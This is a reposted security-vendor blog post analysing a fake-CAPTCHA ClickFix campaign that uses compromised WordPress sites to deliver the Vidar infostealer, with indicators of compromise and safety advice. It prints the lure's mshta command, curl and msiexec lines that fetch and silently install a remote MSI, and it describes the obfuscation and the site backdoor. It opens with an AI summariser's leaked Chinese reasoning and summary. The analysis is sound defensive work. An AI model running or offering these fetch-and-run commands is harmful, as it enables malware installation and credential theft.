Hacked sites deliver Vidar infostealer to Windows users
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内。首先,我需要通读整篇文章,抓住主要信息。 文章主要讲的是网络犯罪分子利用虚假的CAPTCHA页面来传播恶意软件,特别是Vidar信息窃取者。他们通过入侵WordPress网站来分发这些恶意页面。当用户访问这些被入侵的网站时,会看到一个看起来像Cloudflare的验证页面,然后诱导用户运行恶意命令。 接下来,文章详细描述了攻击链的过程:从虚假的CAPTCHA页面开始,到运行HTA脚本下载恶意MSI安装包,再到最终安装Vidar。此外,文章还提到了如何防范这种攻击,比如不要轻易运行未知来源的命令,并保持设备的安全更新。 最后,文章列出了相关的指标和安全建议。总结起来,文章的核心是关于利用虚假CAPTCHA技术传播Vidar恶意软件的攻击活动及其防范措施。 现在我需要把这些信息浓缩到100字以内。要确保涵盖攻击方式、目标、技术细节以及防范建议。同时,避免使用“文章内容总结”之类的开头语。 可能的结构是:网络犯罪分子利用虚假CAPTCHA页面和ClickFix技术,在被入侵的WordPress网站上分发Vidar信息窃取者。他们诱导用户运行恶意命令,最终导致数据泄露。建议用户提高警惕,避免执行可疑命令,并保持系统更新。 这样应该可以控制在100字以内,并且准确传达文章的主要内容。 </think> 网络犯罪分子利用虚假CAPTCHA页面和ClickFix技术,在被入侵的WordPress网站上分发Vidar信息窃取者。他们诱导用户运行恶意命令,最终导致数据泄露。建议用户提高警惕,避免执行可疑命令,并保持系统更新。 2026-3-16 17:15:10 Author: securityboulevard.com(查看原文) 阅读量:7 收藏

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

  • Browser-stored usernames and passwords
  • Cryptocurrency wallet information
  • Session cookies and authentication tokens
  • Autofill data and saved payment information
  • Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

Verify you are human
The fake CAPTCHA message shown to the user.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

  • The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
  • The script terminates if the document.location.href doesn’t start with http.
  • The strings are decoded using XOR and a random key.
  • Through WMI queries, the script checks for installed antivirus products.
  • It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
  • In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.
The malicious HTA script
The malicious HTA script.

In this case, the malicious MSI was downloaded using the following command:

C:\Windows\System32\curl.exe" -s -L -oC:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msihttps://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The custom action defined in the MSI.
The custom action defined in the MSI.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The malicious iframe injected into the compromised website.
The malicious iframe injected into the compromised website.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Code injected into the compromised websites.
Code injected into the compromised websites.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

  • Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
  • Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
  • During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
  • Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.
The malicious code injected in the compromised WordPress site.
The malicious code injected in the compromised WordPress site.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

  • Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
  • Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
  • Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
  • Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
  • Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
  • Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

  • cdnwoopress[.]com: Fake CAPTCHA Infrastructure
  • woopresscdn[.]com: Fake CAPTCHA Infrastructure
  • walwood[.]be: Fake CAPTCHA Infrastructure
  • telegram[.]me/dikkh0k: Vidar C2
  • telegram[.]me/pr55ii: Vidar C2
  • steamcommunity[.]com/profiles/76561198742377525: Vidar C2
  • steamcommunity[.]com/profiles/76561198735736086: Vidar C2

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

*** This is a Security Bloggers Network syndicated blog from Malwarebytes authored by Malwarebytes. Read the original post at: https://www.malwarebytes.com/blog/threat-intel/2026/03/hacked-sites-deliver-vidar-infostealer-to-windows-users


文章来源: https://securityboulevard.com/2026/03/hacked-sites-deliver-vidar-infostealer-to-windows-users/
如有侵权请联系:admin#unsafe.sh